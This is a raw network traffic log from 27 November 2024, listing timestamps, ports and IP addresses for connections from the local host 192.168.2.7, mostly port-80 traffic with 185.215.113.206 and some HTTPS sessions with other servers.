Nov 27, 2024 17:58:59.453809023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.453907967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.453943014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.454643965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.454674959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.454710960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.455450058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.455611944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.456315994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.456362009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.456434965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.457201958 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.457240105 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.457326889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.457977057 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.458012104 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.458019972 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.458826065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.458867073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.458966017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.459640980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.459682941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.459755898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.460457087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.460494041 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.460563898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.461100101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.461327076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.461407900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.461443901 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.462096930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.464118958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.471123934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.471194983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.471442938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.471503973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.471642017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.472235918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.472297907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.472548008 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.472585917 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.472697973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.473484993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.473525047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.473573923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.474297047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.474334955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.474381924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.474381924 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:59.474416018 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.475178957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.475241899 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.475287914 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.475970984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.476011038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.476083040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.476821899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.476859093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.476914883 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.477562904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.477601051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.477643967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.478421926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.478460073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.478646994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.479221106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.479233980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.479377985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.479418993 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.480060101 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.480122089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.480165958 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.481215000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.481229067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.481266975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.481730938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.481831074 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.481868029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.482553005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.482769966 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.482815981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.483381033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.483413935 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.483458996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.484230995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.484282970 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.484335899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.485055923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.485100031 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.485152960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.485862017 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.485910892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.485945940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.486723900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.486766100 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.486865044 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.487287045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.487540007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.487612009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.487651110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.488425970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.488521099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.488564968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.489237070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.489360094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.489397049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.490120888 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.490247011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.490286112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.490962029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.491024971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.491069078 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.491858959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.491894960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.491906881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.492521048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.492558956 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.492573977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.493103981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.493442059 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.493526936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.493566990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.494188070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.494273901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.494312048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.495085001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.495206118 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.495242119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.495897055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.496114969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.496155024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.496701956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.496752024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.496769905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.497762918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.497807026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.497867107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.498388052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.498425007 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.498437881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.499120951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.499207973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.499363899 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.499408960 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.500106096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.500205040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.500245094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.500910997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.501068115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.501110077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.501720905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.501848936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.501887083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.502526999 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.502573967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.502612114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.503365993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.505117893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.546627045 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:59.546647072 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:59.547213078 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:59.547616959 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:59.547692060 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:59.550673008 CET	49902	443	192.168.2.7	104.117.182.18
Nov 27, 2024 17:58:59.591334105 CET	443	49902	104.117.182.18	192.168.2.7
Nov 27, 2024 17:58:59.591428041 CET	49899	443	192.168.2.7	18.238.49.52
Nov 27, 2024 17:58:59.591454029 CET	443	49899	18.238.49.52	192.168.2.7
Nov 27, 2024 17:58:59.638319969 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.638611078 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.638624907 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.639744043 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.639810085 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.640779972 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.640855074 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.662599087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.662674904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.662807941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.662852049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.663203955 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.663238049 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.663263083 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.663285971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.663769007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.663911104 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.663973093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.664726019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.664771080 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.664777040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.664853096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.665497065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.665559053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.665581942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.665755033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.666295052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.666346073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.666429043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.666475058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.667777061 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.667794943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.667833090 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.667855024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.667933941 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.668015957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.668066025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.668879032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.668942928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.669014931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.669121981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.669558048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.669665098 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.669667006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.669722080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.670476913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.670490980 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.670527935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.670545101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.671243906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.671343088 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.671399117 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.672055006 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.672164917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.672209978 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.672911882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.672964096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.681819916 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.681881905 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.681915045 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.681957006 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.682322025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.682333946 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.682375908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.682389021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.682683945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.682826042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.682887077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.683479071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.683547974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.683604002 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.684354067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.684421062 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.684555054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.684748888 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.685142040 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.685187101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.685229063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.685292959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.685987949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.686065912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.686110973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.686784983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.686847925 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.686904907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.686942101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.687632084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.687690973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.687756062 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.687797070 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.688560963 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.688626051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.688642025 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.688868046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.689285994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.689342022 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.689382076 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.689491034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.690174103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.690247059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.690253019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.690329075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.691114902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.691190004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.691239119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.691759109 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.691768885 CET	443	49909	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.692997932 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.693094015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.693094015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.693411112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.693562984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.693706036 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.693757057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.694453001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.694493055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.694526911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.694546938 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.695151091 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.695203066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.695281029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.695334911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.695904970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.695920944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.695967913 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.695983887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.696541071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.696646929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.696719885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.697211027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:59.697736025 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.733661890 CET	49909	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.733767986 CET	49914	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:59.733799934 CET	443	49914	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:59.733901978 CET	49914	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:59.734210968 CET	49914	443	192.168.2.7	20.110.205.119
Nov 27, 2024 17:58:59.734222889 CET	443	49914	20.110.205.119	192.168.2.7
Nov 27, 2024 17:58:59.803849936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:59.877597094 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.878261089 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.878295898 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.878345013 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.878678083 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.878712893 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.878953934 CET	49903	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.878959894 CET	443	49903	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.879290104 CET	49904	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.879296064 CET	443	49904	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.897378922 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.899741888 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.899766922 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.900985956 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.901036978 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.901433945 CET	49910	443	192.168.2.7	23.44.203.75
Nov 27, 2024 17:58:59.901499987 CET	443	49910	23.44.203.75	192.168.2.7
Nov 27, 2024 17:58:59.913371086 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.913419008 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.913436890 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.913503885 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:59.913536072 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.914122105 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.914139986 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.914650917 CET	49908	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:59.914655924 CET	443	49908	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:59.915488958 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:59.915534973 CET	443	49897	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.915594101 CET	49897	443	192.168.2.7	13.107.246.40
Nov 27, 2024 17:58:59.939294100 CET	443	49898	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.939338923 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:59.939371109 CET	443	49901	20.96.153.111	192.168.2.7
Nov 27, 2024 17:58:59.939397097 CET	443	49898	13.107.246.40	192.168.2.7
Nov 27, 2024 17:58:59.939433098 CET	49901	443	192.168.2.7	20.96.153.111
Nov 27, 2024 17:58:59.939455986 CET	443	49901	20.96.153.111	192.168.2.7
